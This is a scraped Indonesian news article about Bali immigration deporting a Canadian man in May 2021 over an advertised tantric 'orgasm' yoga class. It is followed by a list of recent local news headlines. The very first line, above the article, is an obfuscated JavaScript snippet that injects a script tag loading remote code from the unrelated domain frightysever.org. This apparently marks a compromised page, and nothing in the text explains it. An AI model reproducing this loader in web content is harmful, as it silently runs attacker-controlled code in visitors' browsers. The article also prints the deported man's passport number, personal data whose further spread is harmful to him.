(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Bule Kanada Buka Kelas Yoga Orgasme Diusir dari Bali


KANALKALIMANTAN.COM – Kantor Wilayah Kementerian Hukum dan HAM Bali kembali melakukan pendeportasian terhadap warga negara asing. Tindakan tegas ini dilakukan terhadap pria warga negara Kanada, bernama Christopher Kyle Martin.

Dilansir dari Beritabali.com, Kyle Martin dideportasi mengacu pada Pasal 75 huruf a UU No.6 tahun 2016 tentang Keimigrasian.
Berawal dari viralnya promosi dan informasi di media mainstream maupun media elektronik tentang rencana kegiatan Yoga di Bali bertajuk “Tantric Full Body Orgasm” yang diselenggarakan oleh warga asing.

“Kegiatan yoga ini sangat bertentangan dengan kebudayaan Indonesia khususnya kebudayaan Bali yang memegang teguh adat istiadat dan norma agama. Gubernur Bali memberikan perhatian secara khusus dalam masalah ini dan meminta Kakanwil Kementerian Hukum dan HAM Bali untuk melakukan tindakan tegas kepada orang asing tersebut,” ujar Kepala Kakanwil Kementerian Hukum dan HAM Bali, Jamaruli Manihuruk dalam keterangan persnya, Minggu (9/5/2021).

Baca juga: Zakat di Wilayah Coblosan Ulang, Bawaslu Kalsel Diminta Bertindak Konkret

Dari hasil penyidikan, pria kelahiran Winnipeg, 12 November 1983 itu berhasil diamankan petugas di Uluwatu Village House Gg. Rarud No 4 Pecatu, Badung. Dalam keterangannya mengakui bahwa acara Yoga Tantric Full Body Orgasm atau kelas orgasme sudah lama diiklankan dan lupa dihapus.

Acara Yoga tersebut, kata Kyle rencananya akan diselenggarakan pada tahun 2020 di Karma House of Tattoos Jalan Penestanan No 8 Ubud Bali, tetapi ditunda hingga tahun 2021 karena yang bersangkutan tidak memiliki sertifikat sebagai instruktur Yoga dan tidak memiliki ijin kerja.

“Yang bersangkutan menjelaskan bahwa yoga ini tidak memiliki kandungan seksualitas dikarenakan berbeda dengan genital orgasm dan lebih banyak mempelajari tehnik pernafasan,” jelasnya

Untuk mengikuti yoga ini peserta diminta untuk membayar 20 euro sudah termasuk membayar sewa tempat dan makanan pada saat acara berlangsung.

“Selama di Indonesia, WNA ini hanya menggunakan ijin tinggal kunjungan,” imbuh Jamaruli.

Dari kesimpulan hasil penyidikan, bahwa pemilik No Paspor : HN706178 dinyatakan selama berada di Indonesia khususnya Bali tidak menghormati adat istiadat serta budaya Bali dan sesuai dengan pasal 75 huruf a UU No 6 tahun 2016 tentang Keimigrasian.

Baca juga: PLN Kalselteng Perkuat Keandalan Jaringan Jelang Idul Fitri 1442 H

Dan selanjutnya, telah dilakukan pendeportasian, Minggu 9 Mei 2021 pukul 15.20 Wita direncanakan tiba di Soekarno Hatta pada pukul 16.50 WIB kemudian melanjutkan Penerbangan dari Jakarta-Doha-Kanada menggunakan penerbangan Qatar Airways pada Hari Senin Dini Hari pukul 01.00 Wita.

Kembali ditegaskannya, sesuai arahan Gubernur Bali menghimbau masyarakat di seluruh wilayah Bali, para pelaku usaha pariwisata, tokoh masyarakat dan komponen masyarakat lainnya, agar proaktif memantau dan melaporkan berbagai jenis praktik yang dilakukan oleh warga negara asing dan warga lainnya kepada pihak berwenang atau memuat di media sosial supaya bisa diambil tindakan. (suara.com)

Editor : kk


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

6 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

6 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

6 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

6 bulan ago

This website uses cookies.